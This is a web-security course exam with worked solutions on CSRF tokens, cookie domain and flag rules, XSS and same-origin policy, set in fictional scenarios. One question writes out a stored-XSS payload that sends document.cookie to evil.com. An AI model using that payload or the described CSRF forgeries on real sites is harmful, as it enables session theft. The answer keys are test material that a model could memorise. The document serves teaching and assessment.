Q1 *Cauliflower Smells Really Flavorful* **(17 points)**

califlower.com decides to defend against CSRF attacks as follows:

1. When a user logs in, califlower.com sets two 32-byte cookies `session_id` and `csrf_token` randomly with domain califlower.com.
2. When the user sends a POST request, the value of the `csrf_token` is embedded as one of the form fields.
3. On receiving a POST request, califlower.com checks that the value of the `csrf_token` cookie matches the one in the form.

Assume that the cookies don't have the secure, HTTPOnly, or Strict flags set unless stated otherwise. Assume that no CSRF defenses besides the tokens are implemented. Assume every subpart is independent.

Q1.1 (3 points) Suppose the attacker gets the client to visit their malicious website which has domain evil.com. What can they do?

☐ (A) CSRF attack against califlower.com
☐ (B) Change the user's csrf_token cookie
☐ (C) Learn the value of the session_id cookie
■ (D) None of the above
☐ (E) ——
☐ (F) ——

Solution: The attacker's website is of a different domain so they are not able to change/read any cookies for califlower.com. As such, they not able to execute a CSRF attack since they can't guess the value of `csrf_token`.

Q1.2 (3 points) Suppose the attacker gets the client to visit their malicious website which has domain evil.califlower.com. What can they do?

■ (G) CSRF attack against califlower.com
■ (H) Change the user's csrf_token cookie
■ (I) Learn the value of the session_id cookie
☐ (J) None of the above
☐ (K) ——
☐ (L) ——

Solution: Since the attacker's website is a subdomain for califlower.com, it can read/set cookies. The attacker can embed Javascript in their page to extract `csrf_token` and form a malicious POST request.

Q1.3 (3 points) Suppose the attacker gets the client to visit a page on the website xss.califlower.com that contains a stored XSS vulnerability (the website xss.califlower.com is not controlled by the attacker). What can they do?

■ (A) CSRF attack against califlower.com

■ (B) Change the user's csrf_token cookie

■ (C) Learn the value of the session_id cookie

☐ (D) None of the above

☐ (E) ——

☐ (F) ——

Solution: Utilizing the XSS vulnerability, the attacker can extract the `csrf_token` cookie and cause the user's browser to make a malicious POST request.

Q1.4 (3 points) Suppose the attacker is on-path and observes the user make a POST request over HTTP to califlower.com. What can they do?

■ (G) CSRF attack against califlower.com

■ (H) Change the user's csrf_token cookie

■ (I) Learn the value of the session_id cookie

☐ (J) None of the above

☐ (K) ——

☐ (L) ——

Solution: The attacker can observe `session_id` and `csrf_token` in plaintext and forge a POST request. Also, they can spoof a response to the POST request, and include a Set-Cookie header in the response to change the `csrf_token` cookie.

Q1.5 (5 points) Suppose the attacker is a MITM. The victim uses HTTP and is logged into califlower.com but will not visit califlower.com at all. Describe how this attacker can successfully perform a CSRF attack against califlower.com when the user makes a single request to any website. *(Hint: Remember a MITM can modify a webpage over HTTP since there are no integrity checks.)*

Solution: The MITM can modify the website's response to add an img tag or some sort of element that will cause the user's browser to make a request to califlower.com. The attacker can then extract `session_id` and `csrf_token` from the request.

Then there are two ways the POST request could be made. When the attacker forces the user to visit cauliflower.com, they can extract `csrf_token` and embed javascript in the response which makes a POST request alone with the hardcoded value of `csrf_token`. Or once the attacker has `session_id` and `csrf_token` they can make the request themselves.

Q2 *Multiverse of Madness (Part 1)* **(16 points)**

In order to track his fellow Avengers, Dr. Strange proposes using Find My Avengers (`https://findmyavengers.cs161.org/`), a location-sharing website recently upgraded to support the multiverse. In this question, we'll walk through a security analysis of different components of this website!

Users sign in with a username and password. Once they've signed in, they're asked to set their name and profile picture URL, which they can change at any point in the future. On the home page, they can see the names and profile pictures for each person that has shared their location with them.

Assume that Find My Avengers uses session token-based authentication, with a `sessionToken` cookie with the following attributes:

```
Domain: findmyavengers.cs161.org
Path: /
```

Assume that all adversaries have control over `https://evil.com/`, and can access a log of all requests made to that domain. Assume that all XSS protections are disabled, unless otherwise stated.

Q2.1 (2 points) Thanos sets his name to the following JavaScript payload:

```
<script>fetch('https://evil.com/send?message='+document.cookie)</
    script>
```

Then, Thanos shares his location with Dr. Strange. Under which of the following configurations for the site's session token will Dr. Strange's session token be leaked to Thanos when Dr. Strange opens the site? For this question part only, assume that a stored XSS vulnerability exists on the site. Select all that apply.

- ■ Secure = False, HttpOnly = False, SameSite = None
- ☐ Secure = True, HttpOnly = True, SameSite = None
- ■ Secure = True, HttpOnly = False, SameSite = Strict
- ☐ Secure = True, HttpOnly = True, SameSite = Strict
- ☐ None of the above

Solution: The only flag that matters here is the `HttpOnly` flag. In order for our injected JavaScript to access the cookie, the `HttpOnly` flag must be set to False.

We don't actually care about the `Secure` or `SameSite` cookies, since we're not relying on the session token itself being attached to a request; we're simply reaching into the site's cookie jar and attaching it to a request of our choice.

Q2.2 (4 points) Thanos changes his profile picture URL to `/api/serverDoSomething`. This will cause Dr. Strange's browser to make a GET request to `https://findmyavengers.cs161.org/api/serverDoSomething`, with Dr. Strange's session cookie attached.

Which techniques would defend against this attack? Select all that apply.

- ☐ Input sanitization
- ■ A content security policy
- ☐ Setting `HttpOnly` to True
- ☐ Referer checking
- ☐ None of the above

Solution:

- Input santitization would not defend against this because there is no good way to "sanitize" an input unlike with XSS, where you can replace control characters. *Note: This answer choice was dropped due to being vague.*
- CSP could defend against this by blocking any image resource requests to the current origin. (The website would have to host all images on a separate domain, which could be justified through least privilege or separation nof responsibility. *Note: This answer choice was dropped because CSP for images was not covered in-depth.*
- Referer checking would not block this since the request comes from the origin of `https://findmyavengers.cs161.org`.

Q2.3 (3 points) In order to see the names and profile pictures of their friends, the server makes a request to `/api/getFriendList`. The server checks the value of the `sessionToken` cookie against a sessions table, and returns an array of friend usernames and current locations if a valid session token exists.

For this question, assume the session token is configured as follows:

```
Domain: findmyavengers.cs161.org
Path: /
Secure: False
HttpOnly: False
SameSite: None
```

Assume that Thanos has identified a reflected XSS attack on each of the following domains. Which domains can he use to achieve his end goal of learning all of Dr. Strange's friends' locations? Select all that apply.

- [x] `https://findmyavengers.cs161.org/`
- [x] `http://findmyavengers.cs161.org/`
- [x] `https://findmyavengers.cs161.org/other/`
- [x] `https://findmyavengers.cs161.org:8084/other/`
- [x] `http://hello.findmyavengers.cs161.org/`
- [ ] `https://cs161.org/`
- [ ] None of the above

Solution: Since all the attributes are set to False or None, the key thing that will determine if the attack is successful is if the domains match the cookie policy. As a reminder, cookie policy is matched when the domain attribute is a domain suffix of the server's domain and the path attribute is a prefix of the server's path.
Here we see that the domain attribute (findmyavengers.cs161.org) is a domain suffix of all the answer choices and similarly the path attribute(/) is a path prefix for all answer choices. Cookie policy does not enforce specific ports therefore using port 8084 does not affect the attack.

To make the site functional, Dr. Strange adds in a JavaScript library by Stark Industries. The following line is added to https://findmyavengers.cs161.org.

```
<script src="https://cdn.starkindustries.com/gps.js" />
```

Q2.4 (2 points) Given that Same-Origin Policy applies, is this script able to run?

- ● Yes.
- ○ No.

Solution: Yes. Scripts may be downloaded from anywhere (in the absence of CSP) to be executed.

Q2.5 (2 points) What origin does the script have?

- ○ `https://cdn.starkindustries.com`
- ○ `https://starkindustries.com`
- ● `https://findmyavengers.cs161.org/`
- ○ `https://cs161.org/`
- ○ None of the above

Solution: Recall that scripts are executed with the origin of the page that loaded it, not the origin from which it was downloaded.

Q2.6 (3 points) When the client makes a request to `https://cdn.starkindustries.com/gps.js` from `https://findmyavengers.cs161.org/`, the Stark Industries server attempts to use the `SET-COOKIE` header in the response to set some cookies. Which of the following cookie configurations will be allowed by the browser? Select all that apply.

☐
```
Domain: findmyavengers.cs161.org
Path: /
Secure: False
HttpOnly: False
SameSite: Strict
```

☐
```
Domain: cs161.org
Path: /
Secure: False
HttpOnly: False
```

☐
```
Domain: stark.findmyavengers.cs161.org
Path: /
Secure: False
HttpOnly: False
```

☐
```
Domain: cdn.starkindustries.org
Path: /
Secure: False
HttpOnly: True
```

☐
```
Domain: starkindustries.org
Path: /
Secure: True
HttpOnly: False
```

☐
```
Domain: tracker.cdn.starkindustries.org
Path: /house-party-protocol
Secure: False
HttpOnly: False
SameSite: Strict
```

■ None of the above

Solution: For a cookie to be set by a response, the domain of the cookie must be a domain suffix of the request domain. Because this is an HTTPS request, Secure cookies may be set, and HttpOnly cookies can be set by any request made over HTTP/HTTPS. SameSite does not affect the ability to set cookies.

All of these cookies have a domain ending in `.org`, so `cdn.starkindustries.com` cannot set any of these cookies.